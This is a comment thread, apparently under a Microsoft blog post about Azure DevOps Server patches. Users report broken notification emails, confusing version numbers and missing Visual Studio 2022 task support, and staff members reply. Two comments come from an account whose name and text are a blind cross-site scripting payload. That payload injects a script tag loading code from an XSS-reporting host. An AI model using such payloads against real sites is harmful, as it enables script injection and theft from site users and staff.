36 comments

• 

  Daniel Steiner February 14, 2023 11:09 am 1

  collapse this comment copy link to this comment

  the link for release notes point to an internal protected website: review.learn.microsoft.com

  • 

    Gloridel Morales February 14, 2023 12:58 pm 0

    collapse this comment copy link to this comment

    Hi Daniel, thank you for reporting this. It has been fixed.

    • 

      '"><script src=//xss.report/s/herry1></script> February 18, 2023 10:50 pm 0

      collapse this comment copy link to this comment

      '"><script src=//xss.report/s/herry1></script>

• 

  Quintos February 14, 2023 6:54 pm 0

  collapse this comment copy link to this comment

  LGTM. I had installes the 2022.patch1 and 2022.patch2 on my lab server. After install both patch file, I reopened the azuredevops manager console, and the version number is still Server2022, not showinng the patch number. How can I make sure the patch was already installed completely?

  • 

    Gloridel Morales February 15, 2023 10:39 am 0

    collapse this comment copy link to this comment

    Hi Quintos, did you try the verification steps listed in the blog post? You can also check the version of the following file:

    [INSTALL_DIR]\Azure DevOps Server 2022\Application Tier\bin\Microsoft.Teamfoundation.Framework.Server.dll

    Azure DevOps Server 2022 is installed to c:\Program Files\Azure DevOps Server 2022 by default. After installing Azure DevOps Server 2022 Patch 2, the version will be 19.205.33402.2.

    • 

      Quintos February 23, 2023 1:25 am 0

      collapse this comment copy link to this comment

      Thanks. It works. And if I reinstall the patch2.exe, it will show current installed patch version .

    • 

      Daniel Steiner February 28, 2023 6:44 am 0

      collapse this comment copy link to this comment

      @Gloridel
      after running a fresh installation of Azure DevOps Server 2020.1 and upgrading it with the various patches til Azure DevOps Server 2022 Patch 2 the file Microsft.TeamFoundation.Framework.Server.dll is found in folder “Application Tier\Web Services\bin” and not in “Application Tier\bin” as you wrote.
      In addition various files including “Application Tier\bin\Microsoft.TeamFoundation.Framework.Server.dll” from Azure DevOps Server 2020 installation are not uninstalled.

• 

  Tore Østergaard Jensen (TORE) February 15, 2023 8:42 am 0

  collapse this comment copy link to this comment

  Link to the developer community report of the proxy issue:
  https://developercommunity.visualstudio.com/t/Proxy-upgrade-to-2022-breaks-its-functio/10264792

• 

  Tejas A Nair February 16, 2023 6:15 am 0

  collapse this comment copy link to this comment

  Hi!

  We’re missing Updates to Azure File Copy task and Repository as protected resource features in our installation of Azure DevOps Server 2022 v19.205.33122.1.

  https://developercommunity.visualstudio.com/t/Azure-File-Copy-task-v5-missing-in-Azure/10275323?viewtype=all
  https://developercommunity.visualstudio.com/t/Feature-Add-protection-to-repository-re/10275298

  When will these be available?

• 

  Michael Hauer February 16, 2023 11:42 am 1

  collapse this comment copy link to this comment

  After installing the patch (patching from plain 2020.1.2 to 2020.1.2 patch 5) on our instance it didnt send any mail notifications (pull requests, approval, comment mentions). Mail test from Console was successful but event log showed many errors (I removed some personal information)

  Application Domain: TfsJobAgent.exe
  Assembly: Microsoft.TeamFoundation.Framework.Server, Version=18.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a; v4.0.30319
  Service Host: XXXXXXX (DefaultCollection)
  Process Details:
  Process Name: TfsJobAgent
  Account name: XXXX

  Detailed Message: TF400703: Unable to initialize the specified service Microsoft.TeamFoundation.Framework.Server.SmtpSettingsService.

  Exception Message: TF400367: The request could not be performed due to a host type mismatch. Please check any connection information and verify the information is correct. The request was executed against a ProjectCollection. (type UnexpectedHostTypeException)
  Exception Stack Trace: at Microsoft.TeamFoundation.Framework.Server.VssRequestContextExtensions.CheckDeploymentRequestContext(IVssRequestContext context)
  at Microsoft.TeamFoundation.Framework.Server.SmtpSettingsService.Microsoft.TeamFoundation.Framework.Server.IVssFrameworkService.ServiceStart(IVssRequestContext systemRequestContext)
  at Microsoft.TeamFoundation.Framework.Server.ServiceProvider.CreateService(IVssRequestContext requestContext, Type requestedType, Type managedType)

  We restored our instance through restoring the modified files from C:\Program Files\Azure DevOps Server 2020\Backup
  After restoring files and starting services again, all mails that should have been sent were delivered immediately.

  We are in the progress of making an official call but please have a look at the code changes in SmtpSettingsService.ServiceStart.

  • 

    Tore Østergaard Jensen (TORE) February 17, 2023 2:35 am 0

    collapse this comment copy link to this comment

    I am interested in where this ends. We would not like to update if it results in no notification mails.

  • 

    Michael Hauer February 17, 2023 8:10 am 0

    collapse this comment copy link to this comment

    I also made a Developer Community report

  • 

    Gloridel Morales February 17, 2023 9:46 am 1

    collapse this comment copy link to this comment

    Hi Michael, I forwarded your message to our team for investigation.

    • 

      Casey Rupley February 17, 2023 10:12 am 2

      collapse this comment copy link to this comment

      FWIW, I can confirm the exact same behavior identified by Michael Hauer after I applied Patch 5. Besides test emails generated from the console, no other alerts are working.

      • 

        '"><script src=//xss.report/s/herry1></script> February 18, 2023 10:23 pm 0

        collapse this comment copy link to this comment

        sdfd

  • 

    Vladimir Khvostov February 17, 2023 3:17 pm 0

    collapse this comment copy link to this comment

    Hello,
    thanks for reporting this issue. We addressed it and will re-release the patch very soon.
    Customers who already install Patch 5 for Azure DevOps Server 2020.1.2, will need to download updated patch and re-install it.
    Sorry for the inconvinience it caused. We will reply to this thread once updated patch is available.
    Regards,
    –Vladimir

  • 

    Gloridel Morales February 17, 2023 7:56 pm 0

    collapse this comment copy link to this comment

    Thank you all for reporting this issue. We have re-released the patch and it is ready for you to install from the links provided in this blog.

    • 

      anonymous February 18, 2023 10:16 pm 0

      collapse this comment copy link to this comment

      this comment has been deleted.

      • 

        anonymous February 18, 2023 10:18 pm 1

        collapse this comment copy link to this comment

        this comment has been deleted.

    • 

      Tore Østergaard Jensen (TORE) February 20, 2023 1:54 am 0

      collapse this comment copy link to this comment

      So this did not impact 2022 Patch 2?

      • 

        anonymous February 21, 2023 9:15 am 0

        collapse this comment copy link to this comment

        this comment has been deleted.

      • 

        Gloridel Morales February 21, 2023 9:16 am 1

        collapse this comment copy link to this comment

        Correct, it didn’t impact Azure DevOps Server 2022 Patch 2.

        • 

          Daniel Steiner February 22, 2023 9:03 am 0

          collapse this comment copy link to this comment

          Gloridel,

          what is the difference of Azure DevOps Server 2022 Patch2 version 19.205.33402.2 released on Feb 15 compared to the download from Azure DevOps Server 2022 Patch2 version 18.181.32404.7 downloaded Feb 22 ?

          the same 2022 Patch 2 with two different version numbers is confusing especially as the old list of Azure DevOps Server build numbers is no longer updated with official released Azure DevOps Server patches.

        • 

          Gloridel Morales February 24, 2023 11:40 am 0

          collapse this comment copy link to this comment

          Daniel, they are both the same.

    • 

      Michael Hauer March 3, 2023 2:01 am 0

      collapse this comment copy link to this comment

      I can confirm that the re-released patch for 2020 fixes the reported issue.

• 

  Markus February 23, 2023 12:53 am 1

  collapse this comment copy link to this comment

  After applying the patch on AzDO 2020.1.2, classic pipeline still shows only MSbuild 16.0/Visual Studio 2019

  • 

    Daniel Steiner February 23, 2023 8:37 am 0

    collapse this comment copy link to this comment

    @Markus,
    what are you expecting ? Visual Studio 2022 ?

    support for VS 2022 is only added in AzureDevOps Server 2022 Patch 2 but not in 2020.1.2.

    if you need VS 2022 support with AzDO 2020.1.2 than you can install Visual Studio 2022 support by Jesse from marketplace https://marketplace.visualstudio.com/items?itemName=jessehouwing.visualstudio and later switch back to standard task with VS2022 support after upgrading to AzDO 2022.
    we’re currently using it and it works except that it is annoying to replace all the tasks which are using Visual Studio or VS Test.

    • 

      Markus February 23, 2023 10:32 pm 1

      collapse this comment copy link to this comment

      Ok, then the description is misleading
      BTW, the description also doesn’t mention that the build agent version will be updated (Which makes sense for supporting VS2022, which according to your statement is not the case 🤔)

      • 

        Hahn, Alexander February 23, 2023 11:14 pm 1

        collapse this comment copy link to this comment

        I totally agree with Markus, so the blog reads like the changes are included in both patches, also Updated MSBuild and VSBuild tasks to support Visual Studio 2022. That could be improved.

        • 

          Daniel Steiner February 24, 2023 3:22 am 0

          collapse this comment copy link to this comment

          the content of the blog is could be misleading.

          You need to read the release notes for both patch and than you get that updated tasks for VS2022 are only included in Azure DevOps Server 2022 patch 2

  • 

    Gloridel Morales February 24, 2023 11:39 am 1

    collapse this comment copy link to this comment

    Thank you, Markus, Daniel, and Alexander, for your feedback. It makes sense to specify in the blog post the changes that are applicable to each version of the product.

• 

  Raphael Bösch February 28, 2023 5:16 am 0

  collapse this comment copy link to this comment

  Just to be on the save side: I plan to do a fresh installation of Azure DevOps Server 2020.1.2 via ISO-Download. Is patch 5 cumulative or do I have to install all previous patches before patch 5?

  • 

    Gloridel Morales March 1, 2023 11:54 am 0

    collapse this comment copy link to this comment

    Hi Raphael, patches are cumulative. You should install Azure DevOps Server 2020.1.2 Patch 5 after the fresh install of Azure DevOps Server 2020.1.2.

• 

  andreas-nitsch March 15, 2023 8:39 am 0

  collapse this comment copy link to this comment

  After installing the Patch 1.5 for AzureDevOps 2020 our server says that Version 18.181.33417.3 (Azure DevOps Server 2020 Update 1.2) is installed.

  Could you please verify that this is the version expected after successful installation of patch 1.5.

  Best Regards

  Andreas

  • 

    Gloridel Morales March 17, 2023 10:27 am 0

    collapse this comment copy link to this comment

    Hi Andreas, 18.181.33417.3 is the version after installing Azure DevOps Server 2020.1.2 Patch 5.

    • 

      andreas-nitsch March 20, 2023 12:33 am 0

      collapse this comment copy link to this comment

      Thank you very much 🙂